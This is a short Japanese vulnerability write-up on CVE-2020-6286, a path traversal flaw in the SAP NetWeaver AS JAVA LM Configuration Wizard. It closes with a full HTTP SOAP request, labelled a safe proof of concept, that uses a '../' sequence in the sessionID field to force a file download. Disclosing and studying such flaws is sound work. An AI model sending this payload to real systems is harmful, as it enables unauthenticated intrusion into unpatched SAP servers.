
[CVE-2020-6286] SAP NetWeaver AS JAVA (LM Configuration Wizard) ディレクトリトラバーサル
[CVE-2020-6286] SAP NetWeaver AS JAVA (LM Configuration Wizard) ディレクトリトラバーサル
SAP NetWeaver は、SAP の統合テクノロジープラットフォームであり、SAP Business Suite 以降のすべての SAP アプリケーションの技術基盤です。SAP NetWeaver はサービス指向のアプリケーションおよび統合プラットフォームで、SAP アプリケーションの開発・実行環境を提供し、カスタム開発や他のアプリケーション・システムとの統合にも使用できます。SAP NetWeaver AS JAVA(LM Configuration Wizard)のバージョン 7.30, 7.31, 7.40, 7.50 の Web サービスにおける特定パラメータの入力パス検証が不十分であるため、認証されていない攻撃者がメソッドを悪用して zip ファイルを特定のディレクトリにダウンロードさせることができ、パストラバーサル(Path Traversal)につながります。
安全な概念実証(PoC)として、次のリクエストを使用できます。リモートホスト上に zip ファイルが存在する場合、111.zip ファイルがダウンロードされます。
POST /CTCWebService/CTCWebServiceBean HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header />
<soapenv:Body>
<urn:queryProtocol>
<sessionID>/../../../../../../../../../../../../../../../../../..111</sessionID>
</urn:queryProtocol>
</soapenv:Body>
</soapenv:Envelope>